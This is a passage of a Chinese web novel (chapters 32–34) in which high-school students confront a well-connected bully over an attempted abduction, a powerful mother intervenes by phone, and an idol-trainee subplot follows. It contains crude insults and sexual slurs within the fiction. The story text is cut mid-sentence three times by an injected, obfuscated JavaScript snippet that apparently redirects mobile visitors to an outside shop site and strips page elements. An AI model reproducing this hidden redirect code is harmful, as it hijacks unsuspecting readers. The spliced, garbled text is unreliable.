“别废话了!现在先让杨天奇过来给我们道歉!” 谷奕打破安静,斜睨着门边的杨天奇,一字一字地说: “赶紧滚过来!” ——此话说完,学校方和杨天奇方的人瞬间都面色难看了起来。 杨天奇怒视着谷奕,眼里几乎要喷出火。 “谷奕,你别他妈犯贱!” 谷奕冷笑两声。 “这话应该我对你说。” “你这个孬种怂货,自己打不过,直接叫人对女生下手,你连当畜生都不配!” “如果不是我现在受伤,你现在还能好好地站在这里?老子不把你打得满地找牙,打到下跪求饶,老子谷奕两个字倒过来写!” …… “你!” 杨天奇愤怒地想冲上前,却被陈朋一把拦住。 …… “好了好了!谷奕,说话要有分寸!” 旁边的朱秋霞脸色变了,赶紧冲周卫东使个眼色。 ——这个房间里,除了谷奕,只有朱秋霞和周卫东是了解在场两方的所有背景的。 周卫东心里叫苦不迭,十分头大,两边都不想得罪,只能冲上前挡在两人之间:“这样,有话好好说,有话好好说。” …… 杨天奇被拦住,气得七窍生烟,眼神恨不得剁了谷奕。 “你三番两次跟我作对,你算什么东西?!” “你知道我爸是谁吗?!” “你敢惹我,你找死!” …… “你爸?” 谷奕嗤笑两声。 “副处,是吧?” 他紧紧盯着杨天奇,薄唇动了动,一个字一个字地说: “我估计你这个陈叔叔也是你爸的秘书吧,天天围着你爸拍马屁,帮你这个怂货二世祖到处摆平麻烦的,是 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他看到谷奕这一副大派头直想笑。 今天周校长和朱主任都亲自来医院病房,他只觉得学校太客气,特地陪同自己一起过来。 ——那他就好好地给这个自视甚高的假二代谷奕上上课。 …… 陈朋一笑。 “谷奕同学,说话之前还是要多思考几遍,以免祸从口出。” “十几岁的年纪,书都没读完,哪里来的这么大的口气。” “人外有人,天外有天,你人生浅薄,对社会上的事一无所知。” “劝你一句,在事情还能收场之前,我们好好聊聊,条件都好谈。” …… 杨天奇站在陈朋旁边,随着陈朋的话慢慢说出口,他的脸色也越来越趾高气昂。 他抱胸,心想不过又是跟以前那些不知天高地厚的人一样的货色,等到事到临头了,一定吓得屁滚尿流。 到时候,他一定要让谷奕为刚刚的冒犯自己的话付出代价。 …… 黄怀予站在一旁,眉头渐渐蹙起来。 她和李鸣月始终在这个病房的边缘,从头到尾都没有牵扯进冲突的中心。她在一旁观察着中心的这几个人,房间的气氛越来越诡异,越来越剑拔弩张。 陈朋那番十拿九稳的话,让她也不由得也慌了起来。 尽管她知道谷奕家到底是什么背景,只是杨天奇家里在楚门也算是地头蛇。 谷奕那个遥远的、从未出现过的“魔都”的妈妈,到底是否靠谱,她心里真的没底。 今天上午,她特地跟程朗和林潇潇打听了一下。 程朗了解体育生的所有八卦,林潇潇的消息像互联网一样四通八达什么都知道,她从两人那里知道了不少杨天奇的背景。 比如,一向视升学率为重中之重的楚门一中,可以专门为杨天奇这样的子弟开后门,美其名曰“国际班”,尽管杨天奇的中考成绩连上高中都困难。 再比如,杨天奇篮球打得并不好,却依然进了学校篮球队,当上了体育生,高考理所当然地可以走体育生通道。 最后,杨天奇之所以在学校里名声不好,是因为他从高一到现在,“交往”了很多名女生。 ——“听说当时高二有个女生怀孕了。后来打胎转学了。是杨天奇家里封的口。” 林潇潇在电话里小声地说,带着咬牙切齿的愤恨和鄙夷。 “杯子,你们这次如果能将杨天奇一军,那你们简直就是为民除害的勇士!” …… 勇士吗? 黄怀予攥紧拳头。 她,苏琬,李鸣月,都带着不确定的眼神,忐忑不安地望向病房中间,那个大剌剌躺在床上的高大少年。 32. 第 32 章 “人外有人,天外有天?” “这句话说得真好。” 谷奕往后一靠,长眉挑起,鼓着掌。 “我想按照你家里的背景,你应该比我,更懂这句话的意思吧。” 谷奕挺起上半身,直勾勾地盯着杨天奇,瞳孔里燃烧着势在必得的火焰。 他轻声说: ——“你不如回去祈祷,你爸这辈子,从来没有违法乱纪过。” …… 此话一出,陈朋的脸色彻底变了。 在体制内干了这么多年,他太了解这句话是什么意思。 他脸色骤然变得青青白白,再次上下打量起谷奕,心里打起了鼓。 …… 杨天奇闻言一愣。 他对他爸平常的事情并不怎么了解,可是如果说到违法乱纪……那关于他的很多事情,都可以被这样形容。 谷奕的表情太过自信,言语太过强势。杨天奇眼里的愤怒逐渐被惊疑不定取代。 ——他第一反应就是回头去看陈朋,却看见陈朋早已没有了刚刚的云淡风轻,反而脸色极其不好看。 他立刻心底一沉,呼吸沉重,狠狠盯着谷奕,不再说话。 …… 房间里一下陷入短暂的安静。 陈朋竭力让自己冷静,思考着谷奕刚刚的话,试探性地问: “……谷奕同学……家里是做生意的?还是从政的?” “在楚门吗?” 谷奕懒懒扫他一眼,刚准备说话,就突然被一阵手机铃声打断。 他拿起手机,等到看清了屏幕上的字之后,脸上表情立刻变了,瞬间凝固起来。 ——他抬头看了看房间里的人,喉结滚动,犹豫几秒钟,还是点开了接听键。 “……喂?” ——“周校长和对方家长都在你旁边吧。” 一道有力的成熟女声在安静的房间里响起,没有开场白,没有打招呼,直接开门见山,带着确定与直接。 “……” 谷奕听到这熟悉的声音,一下子梗住。 ……对方一上来就仿佛有千里眼顺风耳般知晓他这边的所有情况。 谷奕一下子泄了气。 这么多年,她永远对自己的事情一清二楚。 不管是好事还是麻烦事。 他气压有些低:“嗯。” “开免提。” “……”他低头,还是打开了免提,把手机放在了病床前的桌子上。 ——“周校长,朱主任,您好。我是谷玉。” 周卫东和朱秋霞闻声,立刻走上前两步,态度不由自主地变得恭敬,对着桌上的手机回答道:“谷女士,您好您好。” “陈秘书,您好,自我介绍一下,我叫谷玉。” ——一旁的陈朋突然被点名,一愣,立刻上前回应,心里更是警铃大作。这次不知道惹了什么人,恐怕麻烦还不小。 ……他抬头,惊疑不定地看了谷奕一眼。 这谷奕到底是什么来头?? …… “这样吧陈秘书,不如你带上杨天奇,我们三个单独聊一下吧。” 陈朋面色纠结,最终还是拿起了桌上的手机,关掉了免提,带着杨天奇走了出去。 …… 剩下的人留在病房里,陷入尴尬的沉默。 一个没有出现过的人,居然就这么凭借着一部手机和几句话,就扭转了房间里的形势,让人不自觉就带着毕恭毕敬的语气,被她牵着鼻子走。 周卫东和朱秋霞看着刚才陈朋出去的神态,对视一眼,已经知道了这件事最终会是什么样的结果。 两人安慰了三人几句,也交代了两位班主任要严加管理,不要再让类似的事情发生。 …… 黄怀予张开的嘴还没闭上。 她和李鸣月、苏琬对视,三个人都看出了对方眼里的巨大震惊。 ——知道谷奕妈妈很牛逼,但是不知道谷奕妈妈这么牛逼。 “我怎么就不能投这样的胎呢。” 黄怀予回忆着刚刚手机里传出的那个平稳冷静的气场强大的声音,喃喃道。 周卫东和朱秋霞还在旁边对着两位班主任不停交代着。黄怀予走到病床前,拍拍谷奕的肩膀:“你还有多少惊喜是朕不知道的。” ——却看见,谷奕根本没在听,低着头,不知道在想些什么。 * 大人物的出现,让整件事情一下子就变得清晰明朗起来。 最后的处理结果是,杨天奇被陈朋带来道歉,虽然眼里仍然带着极大的不服,但是被陈朋压着,还是只能听从。 谷奕:“你说什么?没听清。” “……”杨天奇牙齿都快咬碎了,直愣愣地站着,“……对,不,起。” “对不起?你说对不起干什么?你哪里错了?” “……”杨天奇长长地呼吸了几口,“我不该,找人欺负苏琬。” “哦。”谷奕点点头,一副恍然大悟的样子,“那你跟我说个屁。你去跟苏琬说啊。” 杨天奇顶着一口气,深呼吸了好几下,转头,看向角落里的苏琬。 随后,一步步朝着苏琬走过来。 …… 黄怀予站在苏琬旁边,冷眼看着。 通过这几次的纠缠,黄怀予完完全全看清了杨天奇是个什么样的人。 欺软怕硬,恃强凌弱,谷奕连续揍了他两次,他屁都不敢放一个,知道了谷奕身份以后还来道歉。 但是只是因为在路上要苏琬□□被拒绝就记恨在心,小巷子里只敢骂苏琬是婊子,拖人上车也只敢拖苏琬。 在他眼里,学校的女同学不是女同学,是任他挑选的性资源,是想要就要想扔就扔的垃圾,是用一点点钱和权就可以轻松摆平的穷酸货。 谷奕是他的对手,是比他更有钱有权的上层——而苏琬,只是路边一只狗,谁都可以来踢两脚,敢反抗咬人就拔了你的牙。 …… 黄怀予看着杨天奇脸涨得通红,一步步走到苏琬面前,眼里满是不甘和屈辱。 “对不起。苏琬。” 他从牙缝里挤出几个字。 …… 黄怀予看了一眼苏琬,从她的角度只能看见苏琬坐着的发顶,以及她似乎没什么波动的上半张侧脸。 但是,只有她能看到——苏琬垂在身侧的手,微微地颤抖起来。 黄怀予抬手。 牵住了苏琬的左手手臂。 然后一点点,往下滑,直到牵住苏琬的左手,轻轻地摸了一下她的手背。 ……她看见,苏琬一愣,然后,也紧紧地牵住了她的手。 …… 黄怀予抬眼,看了一眼面前被晾着的杨天奇。 “你道歉就这种态度吗?” “你爸从小就是这么教你道歉的?” “没家教。” 杨天奇闻言,猛地抬起头,怒视她:“你!” “你什么你?你要是不会道歉,让你的陈叔叔教你。” 她转头,面无表情地看向一旁的陈朋。 黄怀予意料之中地在对方脸上看到了纠结和难堪,然后下一秒他就立刻换上了熟悉的微笑,走上前扶住杨天奇的背。 然后,把他的背缓缓向下压。 ——力气不大,却带着压迫和服从。 杨天奇的背被压下去,他弯下腰,却抬起了头,愤恨地看着面前坐着的衣着朴素的女生。 ——两人眼神交汇,姿势却是高位者向低位者的服从。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252953|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而这一切,是在谷奕这位更高位者的命令下。 …… 杨天奇被陈朋压着背,鞠了一个标准的90度躬。 “对不起。苏琬。我不应该找人去欺负你,把你拖上车。我错了。” 他的声音从下方传来,没人看得见他的表情。 …… 三秒后,陈朋松开了手。 杨天奇的背一下子挺直。 他咬着牙,脸上肌肉抽动,站直了,看着面前坐着的苏琬。 ——他站着,苏琬坐着,看上去他依然居高临下。 “够了吧。” 他眼里透着屈辱和不甘。 …… 苏琬静静地坐着。 几天前,她可以被杨天奇堵在学校旁边的小巷子里骂婊子。 昨天,她可以在市中心被两个大汉强行拖上一辆陌生的车,驶向未知的方向,不知道等待着她的是□□还是绑架。 ——而此时此刻的她,却成为了整个房间的中心,坐在座位上,终于等来了始作俑者的一个鞠躬和一句道歉。 ——尽管,这是在最高位者的命令之下。而始作俑者依然心不甘情不愿,甚至满脸屈辱,仿佛他只是被逼的,而自己是他连三秒钟的道歉鞠躬都觉得不配的对象。 ……可是,她到底做错了什么呢? 她仰头,看着面前站着的人,缓缓开口。 “我不接受。” …… 此话一出,房间里鸦雀无声。 杨天奇眼里迸射出怒意,额头上青筋暴起,呼吸急促。 刚刚的屈服就像是一场被所有人都围观的笑话,他似乎是再也无法忍受,瞬间暴起,指着苏琬大声怒吼: “你以为你算什么东西!你不就是攀上了谷奕的大腿吗!” “你给他上过了几次?给他舔过了几次?” “如果没有谷奕,你敢在我面前摆出这样一副恶心的样子吗?就凭你还想让我道歉?” “你装你妈的清高!被万人骑的货色!” 啪—— 一个清脆的巴掌声响起。 ——杨天奇呆立原地,左脸被扇得微微偏过来。 他捂住脸,带着十足的不可置信,望向坐在他面前的女生。 苏琬收回右手,紧紧抿着嘴,胸膛起伏,平静地看他。 …… “我操你妈——” 杨天奇暴怒,扬起手,但是下一秒就立刻被旁边的陈朋紧紧拉住,把他拉到一边。 “杨天奇!” 陈朋用力压着他的手臂,用力瞪着他,眼神含着震慑。 杨天奇从来没有在陈朋脸上看到这个表情。 他知道陈朋到现在为止所有的忍让和退步都是为了谷奕,为了那个手机里根本都没有出现过的谷奕的妈。 “杨天奇!你活腻了是吧!” 谷奕一下子从病床上直起上半身,眼里满是怒火:“你再敢说她一句试试看!” …… 黄怀予在一旁,看着杨天奇被扇巴掌,愤怒地要冲过来打苏琬,又被陈朋拉走,最后在谷奕的吼声中被陈朋狠狠压了下来。 她捏紧苏琬的左手,只觉得跟这种人多待一会都是对生命的浪费。 她看着前方杨天奇愤怒到扭曲的脸,一字一句地说: “你什么表情?” “你还屈辱上了是吧?” “该屈辱的是我们。” “你的境界也就这样了,你的脑子里,这辈子也只能接受上下压迫的人际关系。既然你学不会尊重,学不会平等,那我只能用你熟悉的法则教教你了。” “比你更上层的人让你来道歉,够格了吗?” “你就这样活下去吧。天生一条贱命。” 33. 第 33 章 “怎么样了?” 谷奕看着手机里楚恒发过来的消息,微微惊讶。 ……他哥们倒是难得给他发消息。 不过谷奕很快完成了自我说服,他哥们那天晚上都跟着他进了医院,肯定是关心他的。 …… 谷奕想到这件事,脸上没什么好脸色,按住屏幕讲语音。 “监控恢复不了。警察说,就算可以恢复,也没有实质性的证据,证明这件事和杨天奇有关。甚至没有证据能表明那两个男的犯了非法拘禁。” “那两个喽啰行政拘留,杨天奇停课三个月,赔偿全部医药费。” 他越说越生气,气得在床上咳嗽起来。 “操,说到这里我就生气,还停课三个月,真的不是奖励他吗?!” …… 黄怀予递给他一杯水。 “听林潇潇说,杨天奇以前就做过类似的事。” “当时高二的那个女生怀孕打胎,之所以杨天奇没事,是因为,最后查出来是那个女生班上的另外一个男生干的。” “可是那个男生平时就和杨天奇不对付,大家都看得出来。” “最后,两个人都转学走了。而杨天奇,却一直待到现在。” 黄怀予呼出一口气。 “这次,他应该也是想用一样的办法。先掳走苏琬,再栽赃到谷奕头上,这下直接毁掉两个人。” …… “对不起。” 后面传来一道低低的声音,黄怀予惊讶地转头,看向后面坐着的苏琬。 ——她低着头,额前垂下的碎发遮住眉眼,双手放在大腿上。 “你说什么呢!” 黄怀予生气地喊,快步走过去,蹲下来,想要看清苏琬的表情。 苏琬向右转脸,黄怀予就向右追上去,苏琬向左转脸,黄怀予一下子双手捧住她的脸不让她动。 “苏琬!” 黄怀予生气了,手上用了力气,牢牢地固定住了她的脸。 ——却看见,苏琬眼眶和鼻头都红红的,眉头微微蹙起来,满脸都是自责。 “他从头到尾都只是为了我。” “……是我连累了你们。” …… 黄怀予看见她哭,气得咬牙切齿。 “你再说一遍!” “苏琬!你怎么能在我面前说你连累我!” 黄怀予在口袋里掏出几张皱巴巴的卫生纸,擦掉苏琬的眼泪,擦着擦着,自己的眼泪也不由自主地流了下来。 她经历过的那些暴力一幕幕浮现在黄怀予眼前,黄怀予咬唇,用力抱住了她。 她的头埋在苏琬的脖颈里,眼泪滚落进她的衣领,手臂紧紧地箍住她,刚刚还气愤的声音一下子变得瓮瓮的。 “我真想把杨天奇再叫过来,然后把谷奕从病床上拉起来,两个人一起暴揍他一顿,再拿把刀捅死他。” 她闷闷的声音带着别扭的情绪,落在苏琬耳畔。 苏琬喉咙滚动,抬起手,也轻轻回抱住了她。 “杀人要坐牢的。” “我还没成年。不是有未成年保护法吗?”她理直气壮。 “……谷奕19岁了。” “让他妈把他捞出来!他妈牛逼得可以上天了,还怕这个?” …… “喂!” 谷奕坐在病床上,目瞪口呆地看着旁边互相拥抱着的两个女生。 ——两个人一边哭一边抱着,一边还说着复仇的话。 “操!” “你们两个……” “我这辈子最看不得女人哭了。” ——更何况现在是两个女人! 他烦躁地挠头,把一头黑发揉得乱七八糟。揉够了,他颓然放下手,头顶比鸡窝还乱,皱着长眉,嘴唇红红的。 “别哭了。” “我来做。” …… 黄怀予放开苏琬,转头看他。 “我们还能做什么?”苏琬也看过来,眨着一双杏眼,眼尾红红的,声音呜咽,“已经结案了。” 她那双红红的眼睛看得谷奕心里一噔。 “老子就是跟他有仇!” “就算已经结案了又怎么样?就赔了个医药费,他还叫唤上了?” “老子这是私仇,就是要整死他!” * 黄怀予和苏琬下午就已经回到了学校。 而谷奕却还要再住院一周。 ……人们都已经离开,病房里只有谷奕一个人。 他右手紧紧捏着手机,垂着头,不知道在想什么。 几分钟后,他似乎终于下定了决心。 ——他打开手机,拨通了一个人的电话。 “你倒是难得给我打电话。” 开场白是她一贯的风格,没有寒暄,没有问候,开门见山,一句话就让谷奕梗住,想好的话全都用不上了。 …… 他低下头。 谷奕现在都还记得8月30号,他一个人坐上从魔都来云省的高铁的情景。 车站人很多,他拉着箱子,装着空空荡荡的望远镜和篮球,逆方向穿梭在人流里,一个人来到这个从来没有来过的N线小城市,并且即将要在这里生活一年。 他看着站台天边杂乱的黑色电线,听着周围浓重的云省口音,心想,这一年自己绝对不会跟她说任何一句话。 …… 可是瞬间,苏琬那双红红的眼睛,不知道为什么又突然浮现在他眼前。 他瞬间坐起来,深呼吸几口气,说完了所有前因后果。 …… 对面的人听完,半晌没说话,过后才缓缓说: “你和苏琬、黄怀予,关系挺不错的吧。” 谷奕梗住。 “这跟这件事没关系。” 对面沉默几秒。 “好。” * 梁吟东收到楚恒的请假消息的时候,看了好几遍屏幕,确认自己没有看错。 楚恒进公司三年多,就连生病就很少请假,每天早晨七点半雷打不动地到练习室。 ——这次怎么会…… 他没说去了哪里,自己这几天也没在公司附近看到他。但是他请了周一和周二两天假,加上周末两天,梁吟东很容易想到他在这四天里,应该不在帝都。 …… 周三的时候,梁吟东终于像以前一样,在会议室里见到了楚恒。 “早啊,回来了?” 梁吟东没指望听到回答,毕竟所有人都知道楚恒的性格,就算是和梁吟东打招呼,他也只是点点头,不会说任何别的话。 ——“早,梁姐。” 梁吟东一愣,看他一眼。 这一看,却隐隐发现楚恒好像哪里变了。 ——脸还是那张脸,只是眼里有了些光,头发也梳上去了,露出光洁的额头和一张完整白净的俊脸。 梁吟东已经很久没见过这样的楚恒,只觉得遥远得像他几年前刚进公司时的样子。 “……你,前几天请假出去玩了?” 他低下头,眨眨眼,省略了一大堆打架和进医院的事: “算是吧。” “哦,挺好。”梁吟东只当他是出门散了散心,“去了哪?要是好玩,我下次休假也去看看。” 他闻言,眉宇展开,轻轻开口:“……楚门。” “楚门?” 梁吟东困惑地重复一遍:“在云省?” 她只觉得这名字越听越耳熟,几秒钟后才反应过来,李鸣月不就是楚门人吗? 她开的那家酒吧,1969,就在楚门。 这家酒吧现在在业内也算小有名气。上个月就有一个PD跟自己说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252954|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了云省楚门李鸣月的酒吧,弄得挺像模像样的,可能是因为小城市租金便宜,所以把其他钱都花在正经地方了,设备和环境全部都是一流水平。 ——看着生意就很好。 …… 梁吟东一下子想起来,今年年初的时候,楚恒就找过自己,问可不可以去酒吧做驻唱歌手,不为钱,只是单纯地想去。 那个时候楚恒状态就已经有些不好,梁吟东让楚恒自己确认了酒吧资质、环境各方面都正规没问题以后,就由他去了。 ——没想到,他居然去的就是李鸣月在楚门开的酒吧??? …… “……是李鸣月的那家酒吧?” 梁吟东话说出口又觉得有些不对,如果楚恒今年年初就已经去李鸣月酒吧唱歌了,但是他这大半年并没有什么变化。 现在他身上这些明显的状态的改变,是今天才有的。 …… 楚恒闻言,睫毛轻颤,没有肯定也没有否定。 …… 梁吟东只当他是承认了,想了几秒还是放松下来。 “也算是好事。多一个锻炼的机会,就多一些上台的经验。” “李鸣月算是自己人,也能放心。要是有什么事,注意戴口罩藏一下。” “除了李鸣月,别跟别人有什么接触。” ——别人? 楚恒不知想到了什么,眸子缓缓闪动。 * 宿舍里。 楚恒点开工作群,检查这几天落下的群消息。 往上翻了几十条,才发现上一次沈一瑾和自己说的那个舞蹈挑战,最后竟然是陆橙和赵焰拍了。 …… 陆橙是MOON里的另一个成员。 原来是沈一瑾想和楚恒拍,被明红拒绝后,说宁愿不和楚恒拍也不想和赵焰拍。 明红劝了很久,沈一瑾也不愿松口。最终公司上层知道了这件事,极为恼怒,把这个工作给了陆橙,明确指定陆橙和赵焰一起拍。 ——而陆橙也和沈一瑾一样,完全不喜欢赵焰。 她叫苦不迭,却还是要在有镜头的时候装作和赵焰互动,私下里立刻躲得远远的。 而赵焰则更加会演,镜头一开立刻比谁都深情,望着陆橙的眼神如同青梅竹马,跳舞的时候也是暗戳戳加上了极多肢体接触。 …… 楚恒面无表情地扫过了所有消息,不甚关心地关掉了手机。 他开始投入工作和练习。 新歌拍摄已经完成了大半,虽然这次不是C,唱段也少了十几秒,可是楚恒依然每天在练习室里练到深夜。 他没什么多余的想法,也没有什么溢出来的情绪。 他不用像之前那样频繁地吃药,也没有再做过那样深刻痛苦的噩梦。 ——床下的箱子,也已经一周都没有打开过了。 他只是这样很平常地、很充实地,过着他的每一天。 …… 某一天早晨七点多,他迎着晨光走出宿舍,包里是当作早餐的面包,鞋子后方是被拉得很长的影子。 抬头,迎面而来的,是天边一轮极其耀眼的太阳。是世界万物的光源,像一个小小的光洞,染红了周围的灿烂云层,云霞满天,无比艳丽。 ——像金子一样。 …… “是金子总会发光的。” “但是我想,如果自己成为光源本身,就不用反射别人的光来让别人看见自己了吧。” …… 脑中倏地、毫无来由和征兆地,响起两句话。 ——他一向是记不得什么事的。可是此时此刻,这两句话,却一字不差地,浮现出来。 …… 楚恒站定,在晨光之下。 未来是可以看到的吧? 她说的是对的吧? 他想。 34. 第 34 章 楚门一中。 黄怀予坐在教室里,周围是课间趴了一大片沉浸式睡觉的高三同学。 她左手打着石膏,右手心不在焉地翻看楚恒的朋友圈。 只有两三条,最近一条已经是好几周以前,什么文字也没有,只有一张用手机拍的夜空,时间是晚上十点。 她叹口气。 ……加了微信以后两人就只有简单地礼貌性地打招呼,黄怀予选了半天发过去一个稍微正经一点的表情包之后,对方就一直没有再回复。 …… 黄怀予和苏琬都已经回来上课了。 ——虽然上下有些不方便,而且还老是收获一众目光投射。 先是会看她手上的石膏,然后疑惑一会,再看看她的脸,再和旁边的人耳语几句,最后恍然大悟。 就这样走在层层叠叠的议论纷纷里,黄怀予感觉自己和苏琬简直成了学校里的风云人物。 三年学习无人问,一朝打架天下知…… …… 程朗趁着课间溜过来,满脸八卦和意味深长: “听说高三一班有两个女生和一个新转过来的男生和杨天奇有过节,一起打架,结果居然让杨天奇停课三个月。” 林潇潇用看着勇士豪杰的眼神看两人:“你们把杨天奇打了?三个人一起群殴的?” 杨捷:“什么时候你们俩会武术了?” 白度:“不不不,我听说的版本是,杨天奇想打谷奕,结果杯子和苏琬从天而降,把谷奕给救了。” 黄怀予、苏琬:“……” …… 林潇潇坐在黄怀予左边。自从李唯艺走了之后,上周她就被马辉调了过来,成为了黄怀予的新同桌。 她新奇地戳着黄怀予手上的石膏:“这么硬?” “这简直就是荣誉的勋章!” “你们到底是怎么打杨天奇的?” “杨天奇嚣张了这么久,还是第一次有人让他停课!” “现在别的班的好多人都来问我,听说你们班那两个女中豪杰回来上课了?” “我说何止女中豪杰,人家还是全班第一第二!AND本人的同桌和前桌!” “……” ——如果楚门一中的所有人际关系是一张网,那林潇潇就是整张网的中心。 黄怀予听着她滔滔不绝的问题,只觉得杨天奇家里背景特殊,说多了不好,脸上挂着尴尬的笑,三番两次想转移话题。 “哎你是不是最近要去集训?” ——对于艺术生来说,这个话题果然找得很好,林潇潇一下子就没心思关心杨天奇了,嘴角立刻耷拉了下来。 “是。马上国庆节就去。” “去帝都。” …… 帝都? 黄怀予一愣。 好遥远的地方啊。 ……不由自主又想到了一个遥远的人。 …… 愣怔过后,黄怀予才突然发现,林潇潇正拿着一只笔,在自己左手的白色石膏上写着什么字。 “干嘛!” “本人的艺术签名。” 林潇潇大笔一挥: “本人好歹也是学编导的,这次去帝都大城市见见世面,从此以后就是半只脚踏进娱乐圈的人了,明年你就能在微博上看到我考上电影学院。” “签完了!等我以后火了,你可以拿去卖钱。” …… “……别说,写得还挺好。”黄怀予凑近看看,“听说你们娱乐圈很乱,是真的吗?” “当然是真的!” 林潇潇一副肚子里有货的样子。 “什么男女爱豆谈恋爱,什么演员炒CP,什么导演潜规则……等我这次去了帝都,一定给你打探出好几个明星八卦回来!” “不过,这些都不是最重要的。” “最重要的,是你这个称呼要改改。” “干我们这行,不能直呼其名,要叫老师!” 黄怀予想到自己平时看的综艺节目,发现确实是这样,恍然大悟。 ——“林老师,您的签名我一定珍藏着。” …… 马上就是奢侈的国庆长假。 黄怀予和苏琬可以恢复自由,但是谷奕却要住一周的院,好不容易的小长假也只能躺床上,他叫苦不迭。 谷奕伤得下不了床,住院的人需要人陪护。 白度自告奋勇来照顾他,结果才来了一天,谷奕就嫌弃白度晚上睡得比死猪还沉,打呼噜堪比第三次世界大战,第二天早晨立刻把他赶了回去。 ——“烦死了!” 黄怀予听着谷奕的牢骚。 她看谷奕躺在床上,满脸烦躁,眼下乌青,头发乱糟糟的,一看确实是晚上没睡好。 左右看看,谷奕换下来的衣服全部堆在沙发上,没人收拾也没人洗,整个房间杂乱不堪。 “你看你这狗窝。” “这怎么能怪我?我可是病号呢!”谷奕委屈地嚷嚷,“我痛得连起来洗澡都费劲,怎么可能会去收拾。” “……更何况,我可从来没干过这种活。” 黄怀予梗了一下,凭借自己对有钱人贫瘠的想象,也大概能想到,谷奕家里应该从小司机保姆一应俱全,大少爷哪里用得着干这些。 “……要是,能找个专业护工来照顾一周就好了。” 这位大少爷躺在床上,嘟嘟囔囔地自言自语。 …… 专业护工? 黄怀予脑子里一下子闪过一个人。 ——她慢慢抬头,看着床上的人。 “少爷,你能开多少钱?” …… 谷奕伸长脖子,长眸不满地瞄她一眼。 “你这是什么话。” “什么叫我能开多少钱?” “随你开。” …… “一言为定。那这事交给我。” “哎!你要找谁啊!”谷奕急了,“你可别又给我找一个白度那样的!我要求可多着呢。” 黄怀予从旁边扯来一张凳子坐下洗耳恭听:“说说看。” “得是专业的,有证的那种!不要陌生人,必须熟人介绍。然后随时随地扶我起来,给我洗衣服,买饭,收拾房间,晚上睡觉不打呼噜……要是能陪我打游戏就更好了。” 黄怀予轻松地站起身。 “除了最后一个不满足,其他的完美适配。” “等着吧少爷,我这就去给你请人。” …… “阿姨,怎么样?” “这……我倒是没问题,只是,他真的说随便开价?” 苏明有些不好意思的声音从电话那头传来:“这是你和琬琬的同学,我怎么好意思提价格。” “阿姨!这你就错了!” “他要是不说随我们开价,我还不帮你接呢!” ——黄怀予坐在医院门口的奶茶店里,对着手机认真说道: “第一,他这是急招,今天晚上就要。陌生人他信不过,他只要熟人介绍。阿姨你正好几份工作都国庆节放假,时间充足。” “第二,他要求多,短时间内没办法帮他找一个满足他这么多要求还任劳任怨而且有证的。而阿姨你以前就干过这个,又专业经验又丰富,以前主顾都夸你。” “第三,他有钱,有钱得不得了。钱对我们来说很重要,对他来说就是个工具。” “综上所述,你是最好的人选。” …… 黄怀予等了几秒,对面的声音一下子变得滋滋啦啦的,然后一道熟悉的女声从里面传来: ——“杯子!这样好吗……” “怎么不好!”黄怀予操碎了心,“苏琬,这两方需求都完美适配啊。你上哪找这么慷慨的主顾?” “可是……” 苏琬想说什么又不知从何说起。 ——她也不知道为什么觉得奇怪。 理性告诉自己,杯子说得对。 谷奕是一个很好的主顾,妈妈工作这么久都不一定能碰见这样的关系,是熟人,绝对不会坑人,而且绝对慷慨。 …… 可是,她没来由又想到了不可一世的杨天奇在他面前却俯首帖耳的样子。 ——他是养尊处优的大少爷,是大型集团的独生子继承人,是自己这辈子见过的最顶层的人。 而自己妈妈,是底层奋斗的贫苦群众,是从事体力劳动的普通被雇佣者。 ——他们之间,阴差阳错可以有同学关系,然而大部分现实情况中却一定是雇佣关系。 苏琬惊醒,握着手机,只觉如鲠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252955|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉。 …… “我还特地去搜了一下现在护工市场价。他给的绝对比这个高。”黄怀予有些感慨,嘴上没个把门的,“要不是我手受伤,又要学习,此等美差我早就自己上了。” “……”对面没了声音,过了几秒电话似乎又回到了苏明手里。 她笑得开怀:“你去?哈哈哈,你跟他是同学,你还给他洗衣服啊?” “小予,就这么说定了。我去。等会我就收拾东西去医院。” 对面爽快地答应了。 * 苏明动作极快,打完电话没一个小时就到了中心医院门口。 …… 她以前干过护工,有护工证,几乎所有客人都说她干事勤快,脾气好。 为了给苏琬赚大学学费和还债,苏明一个人打三份工,都是保姆、钟点工、家政、收银员之类的工作。 后来,苏琬升高中,主动申请在楚门一中住宿舍。一来不用每天回家让苏明做家务和做饭,二来不用再去一中附近再花钱租房子。 …… 在一中上学的人,选择在对面陪读街租房子的,起码占了九成。 学校宿舍环境差,和别的同学一起住,一定管不住自己,玩得都疯了,还读什么书? 既然考上了全市最好的高中,家里一定是鼎力支持,再租一个三年的房子,陪孩子读三年,又如何? 